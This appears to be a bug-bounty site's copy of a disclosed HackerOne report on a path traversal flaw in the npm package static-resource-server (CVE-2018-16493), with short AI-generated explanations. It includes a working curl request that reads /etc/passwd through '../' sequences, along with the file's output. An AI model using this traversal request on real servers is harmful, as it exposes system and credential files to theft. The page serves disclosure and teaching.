Skip to content
Path traversal Disclosed report Beginner CVE-2018-16493

[static-resource-server] Path Traversal allows to read content of arbitrary file on the server

The static-resource-server module does not verify that requested files stay within the configured root directory, allowing directory traversal. An attacker can read arbitrary files on the server, such as the system password file.

libcontainer Follow

Originally disclosed on HackerOne

High 8.6 View original
  • Triaged in 9 days
  • Fixed in 2 months
  • Disclosed after 2 months

Module

module name: static-resource-server version: 1.7.2 npm page: https://www.npmjs.com/package/static-resource-server

Module Description

A tiny http server that provides local static resource access

Module Stats

Replace stats below with numbers from npm’s module page:

[0] downloads in the last day [0] downloads in the last week [12] downloads in the last month

~ 639 Downloads per Year

Vulnerability

Vulnerability Description

Directory traversal through the url which doesn't verify the file is from the root directory path.

Steps To Reproduce:

install static-resource-server using npm

$ npm install static-resource-server

run server from command line:

$ ./static-resource-server -P 8080 --root $HOME/data/static

use curl to try accessing internal files

$ curl --path-as-is --url 'http://127.0.0.1:8080/../../../../etc/passwd'

Now the corresponding file will be loaded from the server and sent as response to the client ( curl )

Result:

##
# User Database
# 
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico
_taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false
_installassistant:*:25:25:Install Assistant:/var/empty:/usr/bin/false
<<< MASKED DATA >>>

Supporting Material/References:

  • MacOS 10.14.1
  • Node version v10.11.0
  • npm version 6.4.1

Wrap up

  • I contacted the maintainer to let them know: No
  • I opened an issue in the related repository: No

Impact

This vulnerability allows to read content of any file on the server

The original report as published on HackerOne, by libcontainer. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

This vulnerability allows an attacker to read the content of any file on the server, which could expose sensitive information such as system credentials.

What the attacker needed

Server running static-resource-server; network access to the server

How it was found

  1. Install the static-resource-server package using npm.
  2. Run the server from the command line with a specified port and root directory.
  3. Use curl with the --path-as-is option to send a request containing directory traversal sequences.
  4. The server responds with the contents of the targeted file outside the root directory.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web server that serves static files should only allow access to files inside a specific folder. Here, it fails to check that the requested file is inside that folder, so an attacker can use '..' in the URL to go up directories and read any file on the machine, like the list of user accounts.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by libcontainer

View all

1 more disclosed report, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.